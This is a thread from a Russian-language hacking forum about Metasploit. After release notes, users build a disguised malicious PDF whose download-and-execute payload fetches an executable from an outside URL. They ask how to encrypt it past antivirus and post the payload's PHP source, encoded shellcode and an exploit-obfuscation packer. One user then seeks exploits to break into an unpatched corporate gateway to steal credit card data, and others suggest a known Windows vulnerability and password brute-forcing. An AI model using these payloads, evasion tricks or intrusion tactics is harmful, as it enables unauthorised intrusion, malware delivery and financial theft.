• XSS.stack #1 – первый литературный журнал от юзеров форума

Metasploit Framework 3.1

Isis

RAID-массив
Пользователь
Регистрация
09.11.2006
Сообщения
97
Реакции
0
Metasploit Framework 3.1

metasploitcf9.jpg


Video:

[Flash Video] - NNP posted a video to milw0rm.com that demonstrates how to use the db_autopwn command to automatically exploit a network of servers

[Flash Video] - Chris Gates of LearnSecurityOnline.com uses auxiliary modules to locate a Microsoft SQL Server installation and login.

[Flash Video] - Chris Gates of LearnSecurityOnline.com uses the VNC Injection payload to break a locked Windows desktop and monitor the user.

[Flash Video] - Chris Gates of LearnSecurityOnline.com uses the Meterpreter to place a netcat backdoor via the registry and reboot the system.

[Flash Video] - Chris Gates of LearnSecurityOnline.com demonstrates many features of the Meterpreter payload.



Код:
The Metasploit Project announced today the free, world-wide availability of version 3.1 of their exploit development and attack framework. The latest version features a graphical user interface, full support for the Windows platform, and over 450 modules, including 265 remote exploits. "Metasploit 3.1 consolidates a year of research and development, integrating ideas and code from some of the sharpest and most innovative folks in the security research community" said H D Moore, project manager. Moore is referring the numerous research projects that have lent code to the framework.

These projects include the METASM pure-ruby assembler developed by Yoann Guillot and Julien Tinnes, the "Hacking the iPhone" effort outlined in the Metasploit Blog, the Windows kernel-land payload staging system developed by Matt Miller, the heapLib browser exploitation library written by Alexander Sotirov, the Lorcon 802.11 raw transmit library created by Joshua Wright and Mike Kershaw, Scruby, the Ruby port of Philippe Biondi's Scapy project, developed by Sylvain Sarmejeanne, and a contextual encoding system for Metasploit payloads. "Contextual encoding breaks most forms of shellcode analysis by encoding a payload with a target-specific key" said I)ruid, author of the Uninformed Journal (volume 9) article and developer of the contextual encoding system included with Metasploit 3.1.

The graphical user interface is a major step forward for Metasploit users on the Windows platform. Development of this interface was driven by Fabrice Mourron and provides a wizard-based exploitation system, a graphical file and process browser for the Meterpreter payloads, and a multi-tab console interface. "The Metasploit GUI puts Windows users on the same footing as those running Unix by giving them access to a console interface to the framework" said H D Moore, who worked with Fabrice on the GUI project.

The latest incarnation of the framework includes a bristling arsenal of exploit modules that are sure to put a smile on the face of every information warrior. Notable exploits in the 3.1 release include a remote, unpatched kernel-land exploit for Novell Netware, written by toto, a series of 802.11 fuzzing modules that can spray the local airspace with malformed frames, taking out a wide swath of wireless-enabled devices, and a battery of exploits targeted at Borland's InterBase product line. "I found so many holes that I just gave up releasing all of them", said Ramon de Carvalho, founder of RISE Security, and Metasploit contributor.

"Metasploit continues to be an indispensable and reliable penetration testing framework for our modern era", says C. Wilson, a security engineer who uses Metasploit in his daily work. Metasploit is used by network security professionals to perform penetration tests, system administrators to verify patch installations, product vendors to perform regression testing, and security researchers world-wide. The framework is written in the Ruby programming language and includes components written in C and assembler.

Metasploit runs on all modern operating systems, including Linux, Windows, Mac OS X, and most flavors of BSD. Metasploit has been used on a wide range of hardware platforms, from massive Unix mainframes to the tiny Nokia n800 handheld. Users can access Metasploit using the tab-completing console interface, the Gtk GUI, the command line scripting interface, or the AJAX-enabled web interface. The Windows version of Metasploit includes all software dependencies and a selection of useful networking tools.

msf3-exploit-bg_small.jpg
msfconsole_info_small.jpg
msfconsole_small.jpg


Download
Источник: http://metasploit3.com/
 
суть в следующем: создаем, к примеру PDF эксплоит:

Код:
msf > use exploit/windows/fileformat/adobe_flashplayer_newfunction
msf exploit(adobe_flashplayer_newfunction) > set FILENAME Upgrade.pdf
FILENAME => Upgrade.pdf
msf exploit(adobe_flashplayer_newfunction) > set PAYLOAD windows/download_exec
PAYLOAD => windows/download_exec
msf exploit(adobe_flashplayer_newfunction) > set URL http//123.com/test.exe
URL => http//123.com/test.exe
msf exploit(adobe_flashplayer_newfunction) > exploit
... ...
получаем на выходе Upgrade.pdf
При создании эксплоита уже используется какое-то default криптование payload кода, но его недостаточно, так как PDF детектится антивирусом как 'PDF/Exploit.Gen trojan'.

Payload
http://www.metasploit.com/modules/payload/...s/download_exec
download_exec.rb

В Metasploit есть модуль msfencode для криптования шеллкодов, можно выбрать разные виды криптования:
http://www.offensive-security.com/metasplo...ntivirus-Bypass
https://www.metasploit.com/redmine/projects...entry/msfencode

Неясно, как при помощи msfencode закриптовать windows/download_exec непосредственно при создании pdf эксплоита?
 
Код:
##
##
# $Id: download_exec.rb 9488 2010-06-11 16:12:05Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'
require 'msf/core/payload/php'


module Metasploit3

	include Msf::Payload::Php
	include Msf::Payload::Single

	def initialize(info = {})
  super(update_info(info,
  	'Name'          => 'PHP Executable Download and Execute',
  	'Version'       => '$Revision: 9488 $',
  	'Description'   => 'Download an EXE from an HTTP URL and execute it',
  	'Author'        => [ 'egypt' ],
  	'License'       => BSD_LICENSE,
  	'Platform'      => 'php',
  	'Arch'          => ARCH_PHP,
  	'Privileged'    => false
  	))

  # EXITFUNC is not supported :/
  deregister_options('EXITFUNC')

  # Register command execution options
  register_options(
  	[
    OptString.new('URL', [ true, "The pre-encoded URL to the executable" ])
  	], self.class)
	end

	def php_exec_file
  exename = Rex::Text.rand_text_alpha(rand(8) + 4)
  dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
  shell = <<-END_OF_PHP_CODE
  if (!function_exists('sys_get_temp_dir')) {
  	function sys_get_temp_dir() {
    if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
    if (!empty($_ENV['TMPDIR'])) { return realpath($_ENV['TMPDIR']); }
    if (!empty($_ENV['TEMP'])) { return realpath($_ENV['TEMP']); }
    $tempfile=tempnam(uniqid(rand(),TRUE),'');
    if (file_exists($tempfile)) {
    	@unlink($tempfile);
    	return realpath(dirname($tempfile));
    }
    return null;
  	}
  }
  $fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "#{exename}.exe";
  $fd_in = fopen("#{datastore['URL']}", "rb");
  $fd_out = fopen($fname, "wb");
  while (!feof($fd_in)) {
  	fwrite($fd_out, fread($fd_in, 8192));
  }
  fclose($fd_in);
  fclose($fd_out);
  chmod($fname, 0777);
  $c = $fname;
  #{php_preamble({:disabled_varname => dis})}
  #{php_system_block({:cmd_varname => "$c", :disabled_varname => dis})}
  @unlink($fname);
  END_OF_PHP_CODE

  #return Rex::Text.compress(shell)
  return shell
	end

	#
	# Constructs the payload
	#
	def generate
  return php_exec_file
	end

end

не я такое шифровать не умею, это какой-то Ruby или Perl херня вообщем какая-то , я имел ввиду ассемблерный шеллкод
 
download_exec.rb - это модуль на Ruby, он генерирует собственно шеллкод, который сразу встраивается в эксплоит файл.
Можно сгенерировать сам шеллкод командой
msf payload(download_exec) > generate

криптованный шеллкод в эксплоите
Код:
ÚÚ+ɸ÷¸Ùt$ô±^^1FFƒîüââEÐàtà*òø&Ym¼¶ˆ3«¶l<[
ZVÑe�À³Ï+V=NmPÀœ£       ‡.J§2ÚGÏú€
*9`U½„•\»"Z7{Þ£Õíß?P}};½»{ÎiQ[R
                               +Õ¶÷u8Çdœ}Òýæy¥„ä
                                                :Õ
‹_ñì¢ùk—/¥l€?îÜÒ¯$z^nâ
lXF3ôWm‹<—7·¦ý‘Ëí[Ä”ILP€£�–
                        ë³Ò¦AbÞ$Ïy@œ$NKz𒌰}b§íÛkº›¨�¯­¾™Êö¼˜ÀûÕˆŽÚÖ¡{ÌÔ€7ÌÖ’Dû“^
ÛÅo;,)Ž@(K�X<�ãjW¦q>‚r½øxÖû6Ÿðe$‹õbC»lFg‘S¡–ힸŸï­³¿àØÀ˜˜JMmë°‚¢d§¨Ý
                                                                    Bp”øå$m•Û«4
                                                                               X¹µ'Ž$B­Nmsf
 
Metasploit Framework 3.4.1 Released

Version 3.4.1 of the Metasploit penetration testing framework has been released, adding 16 exploits, 22 auxiliary modules, and 11 meterpreter scripts. All 587 exploit modules have been updated to include the Disclosure Date field. Major features added since 3.4.0 include the RAILGUN meterpreter extension by Patrick HVE and the PHP Meterpreter payload by egypt. The Windows installer now ships with support for PostgreSQL database backends. The full release notes are online.

:zns5: Скачать|Download
 
Разработан новый Javascript Packer JSidle, который должен улучшить защиту эксплоитов от обнаружения антивирусами. Обфускатор использует некоторые новые(относительно) идеи, более подробно об этом можно прочесть здесь:
http://relentless-coding.blogspot.com/2010...ker-jsidle.html

Source code: http://github.com/svent/jsidle
Patches for Metasploit: http://github.com/svent/jsidle/tree/master/metasploit/

JSidle можно использовать в Metasploit, для этого нужны модули с патчем.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Установил msf 3.6.
Цель - корпоративный шлюз в инет. На нем радмин стоит.
WS2003 принципиально не обновляется (да, такие идиоты еще есть). Каспер ИС.
Сканировал XSpider'ом:
TCP порты
- открытые : 2
- закрытые : 1
- недоступные : 65532
- порт 25/tcp
сервер SMTP - отправка почты (не работает)
- порт 110/tcp
сервер POP3 - получение почты (не работает)
Исходя из этих данных, уважаемые местные старожилы, какой бы эксплойт предложили подсунуть msf в первую очередь? Готов поделиться трофеями.
 
если на нем радмин стоит то порт его должен быть открытым ? а там можно будет сбрутить его

если он давно не обновляется, то попробуй заюзать какую-то уязвимость например ту что юзал kido , там полный шелл к кампу открыть можно
 
Сканировал XSpider'ом:
TCP порты
- открытые : 2
- закрытые : 1
- недоступные : 65532
- порт 25/tcp
сервер SMTP - отправка почты (не работает)
- порт 110/tcp
сервер POP3 - получение почты (не работает)

исходя из этих данных - порт radmin закрыт, висят только почтовые службы...
в отчете xspide (кстати, какую версию ты использовал?) должно быть больше информации об этих портах, в частности возможно узнать что именно за служба обслуживает порты и ее версию.

если это будет MDaemon, а сокрее всего именно он и будет, то в зависимости от версии уже можно искать эксплоит...

еще требует уточнения такой нюанс - сервер имеет глобальный адресс? или же ты подключен во внутренюю сеть?

и какова цель? чего ты хочешь добиться от взлома? ведь в цели может быть несколько путей...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
2ammok

исходя из этих данных - порт radmin закрыт, висят только почтовые службы...
В том-то всё и дело, что радмин работает, экспайдер не видит этого факта.

в отчете xspide (кстати, какую версию ты использовал?) должно быть больше информации об этих портах, в частности возможно узнать что именно за служба обслуживает порты и ее версию.
Не-а, это всё, что он выдал. Версия 6.5.

еще требует уточнения такой нюанс - сервер имеет глобальный адресс? или же ты подключен во внутренюю сеть?
Разумеется да, если я захожу из инета. Да, я не написал, что из инета, пардон.

и какова цель? чего ты хочешь добиться от взлома? ведь в цели может быть несколько путей...
Цели самые благородные извращённо-садистские, само собой. :diablo: Там много кредиток и инфы для дальнейшего взлома, это второй сервак, на первый я уже зашёл.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
2karabas-barabas
если на нем радмин стоит то порт его должен быть открытым ? а там можно будет сбрутить его

Да, открыт, это абсолютно достоверный факт. Там радмин второй версии, без логина, но пароль не менее 8 символов, брутить смысла нет, не по словарю - это точно, знаю приблизительный вид даже - там 8 букв и цифр, у меня есть список их предыдущих паролей.

если он давно не обновляется, то попробуй заюзать какую-то уязвимость например ту что юзал kido , там полный шелл к кампу открыть можно

Ссылку дай, плз.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
скачай последнюю версию XSpider и просканируй заного
Спасибо, попробую. Дело в том, что у меня полнофункциональная версия. То, что он не ловит радмин - уже показатель.
ps Скачал, поставил, просканировал, результат 0,0.
Сканирование хоста не производилось, так как хост не отвечает на запросы.
 
Цитата|Quote
Сканирование хоста не производилось, так как хост не отвечает на запросы.
Выберем профиль: FullOff полное сканирование (Включая не отвечающие хосты).
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Выберем профиль: FullOff полное сканирование (Включая не отвечающие хосты).
О, спасибо. Вероятно, DefaultOff? Да, пошло проверять. У него пинг отключается через тухес, я так понял.
ps Просканировал, картина прежняя, всего два порта. Радмин спокойно-таки работает на 4899 и экспайдер его не видит.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх